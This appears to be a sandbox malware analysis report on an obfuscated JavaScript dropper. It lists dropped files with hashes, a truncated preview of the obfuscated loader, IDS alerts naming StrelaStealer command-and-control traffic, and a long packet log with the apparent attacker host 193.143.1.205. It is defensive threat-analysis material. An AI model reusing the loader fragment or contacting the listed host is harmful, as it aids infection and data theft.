Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\abe3843b-71b1-4111-9d02-d8c7723924d6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15266), with CRLF line terminators
Entropy (8bit):	4.924565647816611
TrID:
File name:	32139134812378922139.js
File size:	18'866 bytes
MD5:	17fece9762bacca55568e33421ab6a9f
SHA1:	fce3e04bbbefd520d6068475b0b7f6ee5fefcf6d
SHA256:	a463ced235c4edda502ce37fa8fba9e7a3efb641f326eb9e584842953af1d611
SHA512:	4673f7c9b42e21f0af119438aa765f4f9bc03022ae0b2d548a4f9cbee166c583c1f3758979f4590b2e347ba2f657bfdf99060e66ade91f11b366cf1a5a60de40
SSDEEP:	192:EO+63u+p5qscIxs5uOSuRLvyLyia1JDEK9Qh43XmXmaONovqh/cGPctvkStz7ZvW:e63tz8vyuiaHd9QhCXmXmSXJAZ
TLSH:	2082F0CFC946D2872DEC4EB149B6C29A514C61C80A105BE1A50B748B5578BEE2EF07BE
File Content Preview:	function lhbevjsz(){dquwcdjxz=[1031,3079,5127,4103,2055,3072];var ztgdff=this[sjmsjawnb+wovodnosw+qpfbmfm+bpnsiy+wdarjl+occekl+kgfxbtk+vazzgrd](this[oojdy+mjcvueap+aueaktklj+qpfbmfm+yczisbeq+sjmsjawnb+vazzgrd][kdskeom+qpfbmfm+wdarjl+wovodnosw+vazzgrd+wdar

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T04:17:18.730866+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49707	193.143.1.205	80	TCP
2025-01-11T04:17:18.730866+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49707	193.143.1.205	80	TCP
2025-01-11T04:17:22.149673+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49708	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:17:17.905628920 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:17.910620928 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:17.910734892 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:17.913400888 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:17.918318987 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.730743885 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.730786085 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.730822086 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.730865955 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.730875969 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.730911970 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.730946064 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.730979919 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.730986118 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.730986118 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.731017113 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.731057882 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.731122017 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.731156111 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.731273890 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.735953093 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.785060883 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.785101891 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.785443068 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.837171078 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.852617025 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.852653980 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.852689981 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.852756977 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.852786064 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.852912903 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.852921963 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.853128910 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.853163958 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.853202105 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.853461027 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.853493929 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.853528023 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.853578091 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.853578091 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.853622913 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.854104042 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.854136944 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.854151964 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.854188919 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.854268074 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.854273081 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.854306936 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.854429960 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.855020046 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.855196953 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.855230093 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.855262041 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.855264902 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.855298042 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.855334044 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.899804115 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.922605991 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.922642946 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.922727108 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.957299948 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.957336903 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.957370043 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.957479000 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.972032070 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.972067118 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.972099066 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.972146988 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.972147942 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.972147942 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.972184896 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.972219944 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.972357988 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.972475052 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.972527027 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.972559929 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.972594976 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.972616911 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.972616911 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.972628117 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.972662926 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.972683907 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.973383904 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.973434925 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.973469019 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.973515034 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.973515034 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.973593950 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.973628998 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.973661900 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.973700047 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.974409103 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.974442005 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.974476099 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.974492073 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.974535942 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.974570036 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.974579096 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.974608898 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.974675894 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.975233078 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.975285053 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.975291967 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.975343943 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.975383043 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.975405931 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.975415945 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.975490093 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.975545883 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.976177931 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.976229906 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.976243973 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.976263046 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.976329088 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.976397038 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.976430893 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.976464987 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.976967096 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.977055073 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.977117062 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:18.977159977 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.977195024 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.977226973 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:18.977269888 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.015057087 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.015094995 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.015127897 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.015131950 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.015178919 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.049818039 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.049854994 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.049968958 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.078114986 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.078135014 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.078145981 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.078156948 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.078169107 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.078191042 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.078363895 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.093799114 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.093873024 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.093955994 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.093966961 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.093985081 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.093996048 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.094007015 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.094038010 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.094301939 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.094312906 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.094326019 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.094366074 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.094480038 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.094490051 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.094528913 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.094652891 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.094665051 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.094768047 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.094829082 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.094841003 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.094873905 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.095309973 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.095355034 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.095479012 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.095490932 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.095607042 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.095638037 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.095649958 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.095660925 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.095690966 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.096416950 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.096429110 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.096440077 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.096460104 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.096478939 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.096613884 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.096632957 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.096643925 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.096687078 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.097389936 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.097402096 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.097414970 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.097436905 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.097466946 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.097568035 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.097579002 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.097590923 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.097611904 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.098220110 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.098232985 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.098244905 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.098265886 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.098295927 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.098375082 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.098387003 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.098397970 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.098421097 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.099123001 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.099133968 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.099229097 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.099365950 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.099426031 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.099437952 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.099443913 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.099549055 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.100198030 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.100209951 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.100222111 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.100240946 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.100276947 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.100369930 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.100382090 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.100394011 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.100440025 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.101160049 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.101171970 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.101182938 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.101192951 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.101203918 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.101208925 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.101221085 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.101253033 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.101933956 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.101946115 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.101957083 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.101975918 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.101998091 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.102082968 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.102094889 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.102104902 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.102150917 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.102849960 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.102861881 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.102871895 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.102897882 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.102917910 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.103010893 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.103022099 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.103032112 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.103055954 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.104984999 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.108130932 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.108189106 CET	49707	80	192.168.2.8	193.143.1.205
